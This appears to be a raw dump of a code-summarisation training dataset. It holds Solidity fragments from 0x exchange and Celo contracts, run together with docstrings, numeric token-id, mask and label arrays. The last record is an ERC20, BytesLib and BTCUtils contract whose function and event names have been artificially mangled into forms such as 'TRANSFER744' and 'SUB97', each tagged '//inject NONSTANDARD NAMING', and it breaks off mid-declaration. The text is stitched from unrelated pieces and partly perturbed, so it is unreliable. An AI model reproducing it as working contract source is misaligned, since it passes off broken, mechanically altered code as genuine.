to sell the remaining amount of WETH FillResults memory singleFillResults = fillOrderNoThrow( orders[i], remainingTakerAssetFillAmount, signatures[i] ); // Update amounts filled and fees paid by maker and taker addFillResults(totalFillResults, singleFillResults); // Stop execution if the entire amount of takerAsset has been sold if (totalFillResults.takerAssetFilledAmount >= wethSellAmount) { break; } } return totalFillResults; } /// @dev Synchronously executes multiple fill orders in a single transaction until total amount is bought by taker. /// Returns false if the transaction would otherwise revert. /// The asset being sold by taker must always be WETH. /// @param orders Array of order specifications. /// @param makerAssetFillAmount Desired amount of makerAsset to buy. /// @param signatures Proofs that orders have been signed by makers. /// @return Amounts filled and fees paid by makers and taker. function marketBuyExactAmountWithWeth( LibOrder.Order[] memory orders, uint256 makerAssetFillAmount, bytes[] memory signatures ) internal returns (FillResults memory totalFillResults) { bytes memory makerAssetData = orders[0].makerAssetData; bytes memory wethAssetData = WETH_ASSET_DATA; uint256 ordersLength = orders.length; for (uint256 i = 0; i != ordersLength; i++) { // We assume that asset being bought by taker is the same for each order. // We assume that asset being sold by taker is WETH for each order. orders[i].makerAssetData = makerAssetData; orders[i].takerAssetData = wethAssetData; // Calculate the remaining amount of makerAsset to buy uint256 remainingMakerAssetFillAmount = safeSub(makerAssetFillAmount, totalFillResults.makerAssetFilledAmount); // Convert the remaining amount of makerAsset to buy into remaining amount // of takerAsset to sell, assuming entire amount can be sold in the current order. // We round up because the exchange rate computed by fillOrder rounds in favor // of the Maker. In this case we want to overestimate the amount of takerAsset. uint256 remainingTakerAssetFillAmount = getPartialAmountCeil( orders[i].takerAssetAmount, orders[i].makerAssetAmount, remainingMakerAssetFillAmount ); // Attempt to sell the remaining amount of takerAsset FillResults memory singleFillResults = fillOrderNoThrow( orders[i], remainingTakerAssetFillAmount, signatures[i] ); // Update amounts filled and fees paid by maker and taker addFillResults(totalFillResults, singleFillResults); // Stop execution if the entire amount of makerAsset has been bought uint256 makerAssetFilledAmount = totalFillResults.makerAssetFilledAmount; if (makerAssetFilledAmount >= makerAssetFillAmount) { break; } } require( makerAssetFilledAmount >= makerAssetFillAmount, "COMPLETE_FILL_FAILED" ); return totalFillResults; } /// @dev Buys zrxBuyAmount of ZRX fee tokens, taking into account ZRX fees for each order. This will guarantee /// that at least zrxBuyAmount of ZRX is purchased (sometimes slightly over due to rounding issues). /// It is possible that a request to buy 200 ZRX will require purchasing 202 ZRX /// as 2 ZRX is required to purchase the 200 ZRX fee tokens. This guarantees at least 200 ZRX for future purchases. /// The asset being sold by taker must always be WETH. /// @param orders Array of order specifications containing ZRX as makerAsset and WETH as takerAsset. /// @param zrxBuyAmount Desired amount of ZRX to buy. /// @param signatures Proofs that orders have been created by makers. /// @return totalFillResults Amounts filled and fees paid by maker and taker. function marketBuyExactZrxWithWeth( LibOrder.Order[] memory orders, uint256 zrxBuyAmount, bytes[] memory signatures ) internal returns (FillResults memory totalFillResults) { // Do nothing if zrxBuyAmount == 0 if (zrxBuyAmount == 0) { return totalFillResults; } bytes memory zrxAssetData = ZRX_ASSET_DATA; bytes memory wethAssetData = WETH_ASSET_DATA; uint256 zrxPurchased = 0; uint256 ordersLength = orders.length; for (uint256 i = 0; i != ordersLength; i++) { // All of these are ZRX/WETH, so we can drop the respective assetData from calldata. orders[i].makerAssetData = zrxAssetData; orders[i].takerAssetData = wethAssetData; // Calculate the remaining amount of ZRX to buy. uint256 remainingZrxBuyAmount = safeSub(zrxBuyAmount, zrxPurchased); // Convert the remaining amount of ZRX to buy into remaining amount // of WETH to sell, assuming entire amount can be sold in the current order. // We round up because the exchange rate computed by fillOrder rounds in favor // of the Maker. In this case we want to overestimate the amount of takerAsset. uint256 remainingWethSellAmount = getPartialAmountCeil( orders[i].takerAssetAmount, safeSub(orders[i].makerAssetAmount, orders[i].takerFee), // our exchange rate after fees remainingZrxBuyAmount ); // Attempt to sell the remaining amount of WETH. FillResults memory singleFillResult = fillOrderNoThrow( orders[i], remainingWethSellAmount, signatures[i] ); // Update amounts filled and fees paid by maker and taker. addFillResults(totalFillResults, singleFillResult); zrxPurchased = safeSub(totalFillResults.makerAssetFilledAmount, totalFillResults.takerFeePaid); // Stop execution if the entire amount of ZRX has been bought. if (zrxPurchased >= zrxBuyAmount) { break; } } require( zrxPurchased >= zrxBuyAmount, "COMPLETE_FILL_FAILED" ); return totalFillResults; } } /* Copyright 2018 ZeroEx Intl. Licensed under the Apache License, Version 2.0 (the "License"); you may not use this file except in compliance with the License. You may obtain a copy of the License at http://www.apache.org/licenses/LICENSE-2.0 Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the specific language governing permissions and limitations under the License. */ // solhint-disable no-empty-blocks contract Forwarder is LibConstants, MixinWeth, MixinAssets, MixinExchangeWrapper, MixinForwarderCore { constructor ( address _exchange, bytes memory _zrxAssetData, bytes memory _wethAssetData ) public LibConstants( _exchange, _zrxAssetData, _wethAssetData ) MixinForwarderCore() {} }
@dev Calculates Keccak-256 hash of the order. @param order The order structure. @return Keccak-256 EIP712 hash of the order.
function getOrderHash(Order memory order) internal view returns (bytes32 orderHash) { orderHash = hashEIP712Message(hashOrder(order)); return orderHash; }
1,277,001
[ 1, 10587, 1475, 24410, 581, 17, 5034, 1651, 434, 326, 1353, 18, 225, 1353, 1021, 1353, 3695, 18, 327, 1475, 24410, 581, 17, 5034, 512, 2579, 27, 2138, 1651, 434, 326, 1353, 18, 2, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 565, 445, 11973, 2310, 12, 2448, 3778, 1353, 13, 203, 3639, 2713, 203, 3639, 1476, 203, 3639, 1135, 261, 3890, 1578, 1353, 2310, 13, 203, 565, 288, 203, 3639, 1353, 2310, 273, 1651, 41, 2579, 27, 2138, 1079, 12, 2816, 2448, 12, 1019, 10019, 203, 3639, 327, 1353, 2310, 31, 203, 565, 289, 203, 203, 2, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100 ]
./partial_match/42220/0x1EC3366D384ee7996F2F70B67A65C5d54Ce96040/sources/home/eruiz/Projects/celo/celo-monorepo/packages/protocol/contracts/identity/Attestations.sol
* @notice Used in place of the constructor to allow the contract to be upgradable via proxy. @param registryAddress The address of the registry core smart contract. @param _attestationExpiryBlocks The new limit on blocks allowed to come between requesting an attestation and completing it. @param _selectIssuersWaitBlocks The wait period in blocks to call selectIssuers on attestation requests. @param attestationRequestFeeTokens The address of tokens that fees should be payable in. @param attestationRequestFeeValues The corresponding fee values./
function initialize( address registryAddress, uint256 _attestationExpiryBlocks, uint256 _selectIssuersWaitBlocks, uint256 _maxAttestations, address[] calldata attestationRequestFeeTokens, uint256[] calldata attestationRequestFeeValues ) external initializer { _transferOwnership(msg.sender); setRegistry(registryAddress); setAttestationExpiryBlocks(_attestationExpiryBlocks); setSelectIssuersWaitBlocks(_selectIssuersWaitBlocks); setMaxAttestations(_maxAttestations); require( attestationRequestFeeTokens.length > 0 && attestationRequestFeeTokens.length == attestationRequestFeeValues.length, "attestationRequestFeeTokens specification was invalid" ); for (uint256 i = 0; i < attestationRequestFeeTokens.length; i = i.add(1)) { setAttestationRequestFee(attestationRequestFeeTokens[i], attestationRequestFeeValues[i]); } }
3,499,729
[ 1, 6668, 316, 3166, 434, 326, 3885, 358, 1699, 326, 6835, 358, 506, 731, 9974, 429, 3970, 2889, 18, 225, 4023, 1887, 1021, 1758, 434, 326, 4023, 2922, 13706, 6835, 18, 225, 389, 270, 3813, 367, 14633, 6450, 1021, 394, 1800, 603, 4398, 2935, 358, 12404, 3086, 18709, 392, 2403, 395, 367, 471, 2302, 310, 518, 18, 225, 389, 4025, 7568, 27307, 5480, 6450, 1021, 2529, 3879, 316, 4398, 358, 745, 2027, 7568, 27307, 603, 2403, 395, 367, 3285, 18, 225, 2403, 395, 367, 691, 14667, 5157, 1021, 1758, 434, 2430, 716, 1656, 281, 1410, 506, 8843, 429, 316, 18, 225, 2403, 395, 367, 691, 14667, 1972, 1021, 4656, 14036, 924, 18, 19, 2, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 225, 445, 4046, 12, 203, 565, 1758, 4023, 1887, 16, 203, 565, 2254, 5034, 389, 270, 3813, 367, 14633, 6450, 16, 203, 565, 2254, 5034, 389, 4025, 7568, 27307, 5480, 6450, 16, 203, 565, 2254, 5034, 389, 1896, 3075, 395, 1012, 16, 203, 565, 1758, 8526, 745, 892, 2403, 395, 367, 691, 14667, 5157, 16, 203, 565, 2254, 5034, 8526, 745, 892, 2403, 395, 367, 691, 14667, 1972, 203, 225, 262, 3903, 12562, 288, 203, 565, 389, 13866, 5460, 12565, 12, 3576, 18, 15330, 1769, 203, 565, 444, 4243, 12, 9893, 1887, 1769, 203, 565, 444, 3075, 395, 367, 14633, 6450, 24899, 270, 3813, 367, 14633, 6450, 1769, 203, 565, 444, 3391, 7568, 27307, 5480, 6450, 24899, 4025, 7568, 27307, 5480, 6450, 1769, 203, 565, 10851, 3075, 395, 1012, 24899, 1896, 3075, 395, 1012, 1769, 203, 203, 565, 2583, 12, 203, 1377, 2403, 395, 367, 691, 14667, 5157, 18, 2469, 405, 374, 597, 203, 3639, 2403, 395, 367, 691, 14667, 5157, 18, 2469, 422, 2403, 395, 367, 691, 14667, 1972, 18, 2469, 16, 203, 1377, 315, 270, 3813, 367, 691, 14667, 5157, 7490, 1703, 2057, 6, 203, 565, 11272, 203, 565, 364, 261, 11890, 5034, 277, 273, 374, 31, 277, 411, 2403, 395, 367, 691, 14667, 5157, 18, 2469, 31, 277, 273, 277, 18, 1289, 12, 21, 3719, 288, 203, 1377, 444, 3075, 395, 367, 691, 14667, 12, 270, 3813, 367, 691, 14667, 5157, 63, 77, 6487, 2403, 395, 367, 691, 14667, 1972, 63, 77, 19226, 203, 565, 289, 203, 225, 289, 203, 203, 2 ]
pragma solidity 0.5.10; contract Context { constructor () internal { } function _MSGSENDER793() internal view returns (address payable) { //inject NONSTANDARD NAMING return msg.sender; } function _MSGDATA330() internal view returns (bytes memory) { //inject NONSTANDARD NAMING this; return msg.data; } } interface IERC20 { function TOTALSUPPLY908() external view returns (uint256); //inject NONSTANDARD NAMING function BALANCEOF227(address account) external view returns (uint256); //inject NONSTANDARD NAMING function TRANSFER744(address recipient, uint256 amount) external returns (bool); //inject NONSTANDARD NAMING function ALLOWANCE643(address owner, address spender) external view returns (uint256); //inject NONSTANDARD NAMING function APPROVE357(address spender, uint256 amount) external returns (bool); //inject NONSTANDARD NAMING function TRANSFERFROM570(address sender, address recipient, uint256 amount) external returns (bool); //inject NONSTANDARD NAMING event TRANSFER432(address indexed from, address indexed to, uint256 value); //inject NONSTANDARD NAMING event APPROVAL431(address indexed owner, address indexed spender, uint256 value); //inject NONSTANDARD NAMING } library SafeMath { function ADD803(uint256 a, uint256 b) internal pure returns (uint256) { //inject NONSTANDARD NAMING uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } function SUB97(uint256 a, uint256 b) internal pure returns (uint256) { //inject NONSTANDARD NAMING return SUB97(a, b, "SafeMath: subtraction overflow"); } function SUB97(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { //inject NONSTANDARD NAMING require(b <= a, errorMessage); uint256 c = a - b; return c; } function MUL111(uint256 a, uint256 b) internal pure returns (uint256) { //inject NONSTANDARD NAMING if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } function DIV358(uint256 a, uint256 b) internal pure returns (uint256) { //inject NONSTANDARD NAMING return DIV358(a, b, "SafeMath: division by zero"); } function DIV358(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { //inject NONSTANDARD NAMING require(b > 0, errorMessage); uint256 c = a / b; return c; } function MOD464(uint256 a, uint256 b) internal pure returns (uint256) { //inject NONSTANDARD NAMING return MOD464(a, b, "SafeMath: modulo by zero"); } function MOD464(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { //inject NONSTANDARD NAMING require(b != 0, errorMessage); return a % b; } } contract ERC20 is Context, IERC20 { using SafeMath for uint256; mapping (address => uint256) private _balances; mapping (address => mapping (address => uint256)) private _allowances; uint256 private _totalSupply; function TOTALSUPPLY908() public view returns (uint256) { //inject NONSTANDARD NAMING return _totalSupply; } function BALANCEOF227(address account) public view returns (uint256) { //inject NONSTANDARD NAMING return _balances[account]; } function TRANSFER744(address recipient, uint256 amount) public returns (bool) { //inject NONSTANDARD NAMING _TRANSFER927(_MSGSENDER793(), recipient, amount); return true; } function ALLOWANCE643(address owner, address spender) public view returns (uint256) { //inject NONSTANDARD NAMING return _allowances[owner][spender]; } function APPROVE357(address spender, uint256 amount) public returns (bool) { //inject NONSTANDARD NAMING _APPROVE171(_MSGSENDER793(), spender, amount); return true; } function TRANSFERFROM570(address sender, address recipient, uint256 amount) public returns (bool) { //inject NONSTANDARD NAMING _TRANSFER927(sender, recipient, amount); _APPROVE171(sender, _MSGSENDER793(), _allowances[sender][_MSGSENDER793()].SUB97(amount, "ERC20: transfer amount exceeds allowance")); return true; } function INCREASEALLOWANCE99(address spender, uint256 addedValue) public returns (bool) { //inject NONSTANDARD NAMING _APPROVE171(_MSGSENDER793(), spender, _allowances[_MSGSENDER793()][spender].ADD803(addedValue)); return true; } function DECREASEALLOWANCE633(address spender, uint256 subtractedValue) public returns (bool) { //inject NONSTANDARD NAMING _APPROVE171(_MSGSENDER793(), spender, _allowances[_MSGSENDER793()][spender].SUB97(subtractedValue, "ERC20: decreased allowance below zero")); return true; } function _TRANSFER927(address sender, address recipient, uint256 amount) internal { //inject NONSTANDARD NAMING require(sender != address(0), "ERC20: transfer from the zero address"); require(recipient != address(0), "ERC20: transfer to the zero address"); _balances[sender] = _balances[sender].SUB97(amount, "ERC20: transfer amount exceeds balance"); _balances[recipient] = _balances[recipient].ADD803(amount); emit TRANSFER432(sender, recipient, amount); } function _MINT736(address account, uint256 amount) internal { //inject NONSTANDARD NAMING require(account != address(0), "ERC20: mint to the zero address"); _totalSupply = _totalSupply.ADD803(amount); _balances[account] = _balances[account].ADD803(amount); emit TRANSFER432(address(0), account, amount); } function _BURN826(address account, uint256 amount) internal { //inject NONSTANDARD NAMING require(account != address(0), "ERC20: burn from the zero address"); _balances[account] = _balances[account].SUB97(amount, "ERC20: burn amount exceeds balance"); _totalSupply = _totalSupply.SUB97(amount); emit TRANSFER432(account, address(0), amount); } function _APPROVE171(address owner, address spender, uint256 amount) internal { //inject NONSTANDARD NAMING require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit APPROVAL431(owner, spender, amount); } function _BURNFROM936(address account, uint256 amount) internal { //inject NONSTANDARD NAMING _BURN826(account, amount); _APPROVE171(account, _MSGSENDER793(), _allowances[account][_MSGSENDER793()].SUB97(amount, "ERC20: burn amount exceeds allowance")); } } library BytesLib { function CONCAT636(bytes memory _preBytes, bytes memory _postBytes) internal pure returns (bytes memory) { //inject NONSTANDARD NAMING bytes memory tempBytes; assembly { tempBytes := mload(0x40) let length := mload(_preBytes) mstore(tempBytes, length) let mc := add(tempBytes, 0x20) let end := add(mc, length) for { let cc := add(_preBytes, 0x20) } lt(mc, end) { mc := add(mc, 0x20) cc := add(cc, 0x20) } { mstore(mc, mload(cc)) } length := mload(_postBytes) mstore(tempBytes, add(length, mload(tempBytes))) mc := end end := add(mc, length) for { let cc := add(_postBytes, 0x20) } lt(mc, end) { mc := add(mc, 0x20) cc := add(cc, 0x20) } { mstore(mc, mload(cc)) } mstore(0x40, and( add(add(end, iszero(add(length, mload(_preBytes)))), 31), not(31) )) } return tempBytes; } function CONCATSTORAGE846(bytes storage _preBytes, bytes memory _postBytes) internal { //inject NONSTANDARD NAMING assembly { let fslot := sload(_preBytes_slot) let slength := div(and(fslot, sub(mul(0x100, iszero(and(fslot, 1))), 1)), 2) let mlength := mload(_postBytes) let newlength := add(slength, mlength) switch add(lt(slength, 32), lt(newlength, 32)) case 2 { sstore( _preBytes_slot, add( fslot, add( mul( div( mload(add(_postBytes, 0x20)), exp(0x100, sub(32, mlength)) ), exp(0x100, sub(32, newlength)) ), mul(mlength, 2) ) ) ) } case 1 { mstore(0x0, _preBytes_slot) let sc := add(keccak256(0x0, 0x20), div(slength, 32)) sstore(_preBytes_slot, add(mul(newlength, 2), 1)) let submod := sub(32, slength) let mc := add(_postBytes, submod) let end := add(_postBytes, mlength) let mask := sub(exp(0x100, submod), 1) sstore( sc, add( and( fslot, 0xffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff00 ), and(mload(mc), mask) ) ) for { mc := add(mc, 0x20) sc := add(sc, 1) } lt(mc, end) { sc := add(sc, 1) mc := add(mc, 0x20) } { sstore(sc, mload(mc)) } mask := exp(0x100, sub(mc, end)) sstore(sc, mul(div(mload(mc), mask), mask)) } default { mstore(0x0, _preBytes_slot) let sc := add(keccak256(0x0, 0x20), div(slength, 32)) sstore(_preBytes_slot, add(mul(newlength, 2), 1)) let slengthmod := mod(slength, 32) let mlengthmod := mod(mlength, 32) let submod := sub(32, slengthmod) let mc := add(_postBytes, submod) let end := add(_postBytes, mlength) let mask := sub(exp(0x100, submod), 1) sstore(sc, add(sload(sc), and(mload(mc), mask))) for { sc := add(sc, 1) mc := add(mc, 0x20) } lt(mc, end) { sc := add(sc, 1) mc := add(mc, 0x20) } { sstore(sc, mload(mc)) } mask := exp(0x100, sub(mc, end)) sstore(sc, mul(div(mload(mc), mask), mask)) } } } function SLICE479(bytes memory _bytes, uint _start, uint _length) internal pure returns (bytes memory) { //inject NONSTANDARD NAMING require(_bytes.length >= (_start + _length), "Slice out of bounds"); bytes memory tempBytes; assembly { switch iszero(_length) case 0 { tempBytes := mload(0x40) let lengthmod := and(_length, 31) let mc := add(add(tempBytes, lengthmod), mul(0x20, iszero(lengthmod))) let end := add(mc, _length) for { let cc := add(add(add(_bytes, lengthmod), mul(0x20, iszero(lengthmod))), _start) } lt(mc, end) { mc := add(mc, 0x20) cc := add(cc, 0x20) } { mstore(mc, mload(cc)) } mstore(tempBytes, _length) mstore(0x40, and(add(mc, 31), not(31))) } default { tempBytes := mload(0x40) mstore(0x40, add(tempBytes, 0x20)) } } return tempBytes; } function TOADDRESS666(bytes memory _bytes, uint _start) internal pure returns (address) { //inject NONSTANDARD NAMING require(_bytes.length >= (_start + 20), "Address conversion out of bounds."); address tempAddress; assembly { tempAddress := div(mload(add(add(_bytes, 0x20), _start)), 0x1000000000000000000000000) } return tempAddress; } function TOUINT411(bytes memory _bytes, uint _start) internal pure returns (uint256) { //inject NONSTANDARD NAMING require(_bytes.length >= (_start + 32), "Uint conversion out of bounds."); uint256 tempUint; assembly { tempUint := mload(add(add(_bytes, 0x20), _start)) } return tempUint; } function EQUAL334(bytes memory _preBytes, bytes memory _postBytes) internal pure returns (bool) { //inject NONSTANDARD NAMING bool success = true; assembly { let length := mload(_preBytes) switch eq(length, mload(_postBytes)) case 1 { let cb := 1 let mc := add(_preBytes, 0x20) let end := add(mc, length) for { let cc := add(_postBytes, 0x20) } eq(add(lt(mc, end), cb), 2) { mc := add(mc, 0x20) cc := add(cc, 0x20) } { if iszero(eq(mload(mc), mload(cc))) { success := 0 cb := 0 } } } default { success := 0 } } return success; } function EQUALSTORAGE265(bytes storage _preBytes, bytes memory _postBytes) internal view returns (bool) { //inject NONSTANDARD NAMING bool success = true; assembly { let fslot := sload(_preBytes_slot) let slength := div(and(fslot, sub(mul(0x100, iszero(and(fslot, 1))), 1)), 2) let mlength := mload(_postBytes) switch eq(slength, mlength) case 1 { if iszero(iszero(slength)) { switch lt(slength, 32) case 1 { fslot := mul(div(fslot, 0x100), 0x100) if iszero(eq(fslot, mload(add(_postBytes, 0x20)))) { success := 0 } } default { let cb := 1 mstore(0x0, _preBytes_slot) let sc := keccak256(0x0, 0x20) let mc := add(_postBytes, 0x20) let end := add(mc, mlength) for {} eq(add(lt(mc, end), cb), 2) { sc := add(sc, 1) mc := add(mc, 0x20) } { if iszero(eq(sload(sc), mload(mc))) { success := 0 cb := 0 } } } } } default { success := 0 } } return success; } function TOBYTES32571(bytes memory _source) pure internal returns (bytes32 result) { //inject NONSTANDARD NAMING bytes memory tempEmptyStringTest = bytes(_source); if (tempEmptyStringTest.length == 0) { return 0x0; } assembly { result := mload(add(_source, 32)) } } } library BTCUtils { using BytesLib for bytes; using SafeMath for uint256; uint256 public constant diff1_target719 = 0xffff0000000000000000000000000000000000000000000000000000; //inject NONSTANDARD NAMING uint256 public constant retarget_period820 = 2 * 7 * 24 * 60 * 60; //inject NONSTANDARD NAMING uint256 public constant retarget_period_blocks665 = 2016; //inject NONSTANDARD NAMING function DETERMINEVARINTDATALENGTH811(bytes memory _flag) internal pure returns (uint8) { //inject NONSTANDARD NAMING if (uint8(_flag[0]) == 0xff) { return 8; } if (uint8(_flag[0]) == 0xfe) { return 4; } if (uint8(_flag[0]) == 0xfd) { return 2; } return 0; } function REVERSEENDIANNESS18(bytes memory _b) internal pure returns (bytes memory) { //inject NONSTANDARD NAMING bytes memory _newValue = new bytes(_b.length); for (uint i = 0; i < _b.length; i++) { _newValue[_b.length - i - 1] = _b[i]; } return _newValue; } function BYTESTOUINT790(bytes memory _b) internal pure returns (uint256) { //inject NONSTANDARD NAMING uint256 _number; for (uint i = 0; i < _b.length; i++) { _number = _number + uint8(_b[i]) * (2 ** (8 * (_b.length - (i + 1)))); } return _number; } function LASTBYTES156(bytes memory _b, uint256 _num) internal pure returns (bytes memory) { //inject NONSTANDARD NAMING uint256 _start = _b.length.SUB97(_num); return _b.SLICE479(_start, _num); } function HASH160454(bytes memory _b) internal pure returns (bytes memory) { //inject NONSTANDARD NAMING return abi.encodePacked(ripemd160(abi.encodePacked(sha256(_b)))); } function HASH256986(bytes memory _b) internal pure returns (bytes32) { //inject NONSTANDARD NAMING return abi.encodePacked(sha256(abi.encodePacked(sha256(_b)))).TOBYTES32571(); } function EXTRACTINPUTATINDEX738(bytes memory _vin, uint8 _index) internal pure returns (bytes memory) { //inject NONSTANDARD NAMING uint256 _len; bytes memory _remaining; uint256 _offset = 1; for (uint8 _i = 0; _i < _index; _i ++) { _remaining = _vin.SLICE479(_offset, _vin.length - _offset); _len = DETERMINEINPUTLENGTH677(_remaining); _offset = _offset + _len; } _remaining = _vin.SLICE479(_offset, _vin.length - _offset); _len = DETERMINEINPUTLENGTH677(_remaining); return _vin.SLICE479(_offset, _len); } function ISLEGACYINPUT163(bytes memory _input) internal pure returns (bool) { //inject NONSTANDARD NAMING return keccak256(_input.SLICE479(36, 1)) != keccak256(hex"00"); } function DETERMINEINPUTLENGTH677(bytes memory _input) internal pure returns (uint256) { //inject NONSTANDARD NAMING uint8 _varIntDataLen; uint256 _scriptSigLen; (_varIntDataLen, _scriptSigLen) = EXTRACTSCRIPTSIGLEN905(_input); return 36 + 1 + _varIntDataLen + _scriptSigLen + 4; } function EXTRACTSEQUENCELELEGACY251(bytes memory _input) internal pure returns (bytes memory) { //inject NONSTANDARD NAMING uint8 _varIntDataLen; uint256 _scriptSigLen; (_varIntDataLen, _scriptSigLen) = EXTRACTSCRIPTSIGLEN905(_input); return _input.SLICE479(36 + 1 + _varIntDataLen + _scriptSigLen, 4); } function EXTRACTSEQUENCELEGACY692(bytes memory _input) internal pure returns (uint32) { //inject NONSTANDARD NAMING bytes memory _leSeqence = EXTRACTSEQUENCELELEGACY251(_input); bytes memory _beSequence = REVERSEENDIANNESS18(_leSeqence); return uint32(BYTESTOUINT790(_beSequence)); } function EXTRACTSCRIPTSIG435(bytes memory _input) internal pure returns (bytes memory) { //inject NONSTANDARD NAMING uint8 _varIntDataLen; uint256 _scriptSigLen; (_varIntDataLen, _scriptSigLen) = EXTRACTSCRIPTSIGLEN905(_input); return _input.SLICE479(36, 1 + _varIntDataLen + _scriptSigLen); } function EXTRACTSCRIPTSIGLEN905(bytes memory _input) internal pure returns (uint8, uint256) { //inject NONSTANDARD NAMING bytes memory _varIntTag = _input.SLICE479(36, 1); uint8 _varIntDataLen = DETERMINEVARINTDATALENGTH811(_varIntTag); uint256 _len; if (_varIntDataLen == 0) { _len = uint8(_varIntTag[0]); } else { _len = BYTESTOUINT790(REVERSEENDIANNESS18(_input.SLICE479(36 + 1, _varIntDataLen))); } return (_varIntDataLen, _len); } function EXTRACTSEQUENCELEWITNESS46(bytes memory _input) internal pure returns (bytes memory) { //inject NONSTANDARD NAMING return _input.SLICE479(37, 4); } function EXTRACTSEQUENCEWITNESS1000(bytes memory _input) internal pure returns (uint32) { //inject NONSTANDARD NAMING bytes memory _leSeqence = EXTRACTSEQUENCELEWITNESS46(_input); bytes memory _inputeSequence = REVERSEENDIANNESS18(_leSeqence); return uint32(BYTESTOUINT790(_inputeSequence)); } function EXTRACTOUTPOINT770(bytes memory _input) internal pure returns (bytes memory) { //inject NONSTANDARD NAMING return _input.SLICE479(0, 36); } function EXTRACTINPUTTXIDLE232(bytes memory _input) internal pure returns (bytes32) { //inject NONSTANDARD NAMING return _input.SLICE479(0, 32).TOBYTES32571(); } function EXTRACTINPUTTXID926(bytes memory _input) internal pure returns (bytes32) { //inject NONSTANDARD NAMING bytes memory _leId = abi.encodePacked(EXTRACTINPUTTXIDLE232(_input)); bytes memory _beId = REVERSEENDIANNESS18(_leId); return _beId.TOBYTES32571(); } function EXTRACTTXINDEXLE408(bytes memory _input) internal pure returns (bytes memory) { //inject NONSTANDARD NAMING return _input.SLICE479(32, 4); } function EXTRACTTXINDEX998(bytes memory _input) internal pure returns (uint32) { //inject NONSTANDARD NAMING bytes memory _leIndex = EXTRACTTXINDEXLE408(_input); bytes memory _beIndex = REVERSEENDIANNESS18(_leIndex); return uint32(BYTESTOUINT790(_beIndex)); } function DETERMINEOUTPUTLENGTH588(bytes memory _output) internal pure returns (uint256) { //inject NONSTANDARD NAMING uint8 _len = uint8(_output.SLICE479(8, 1)[0]); require(_len < 0xfd, "Multi-byte VarInts not supported"); return _len + 8 + 1; } function 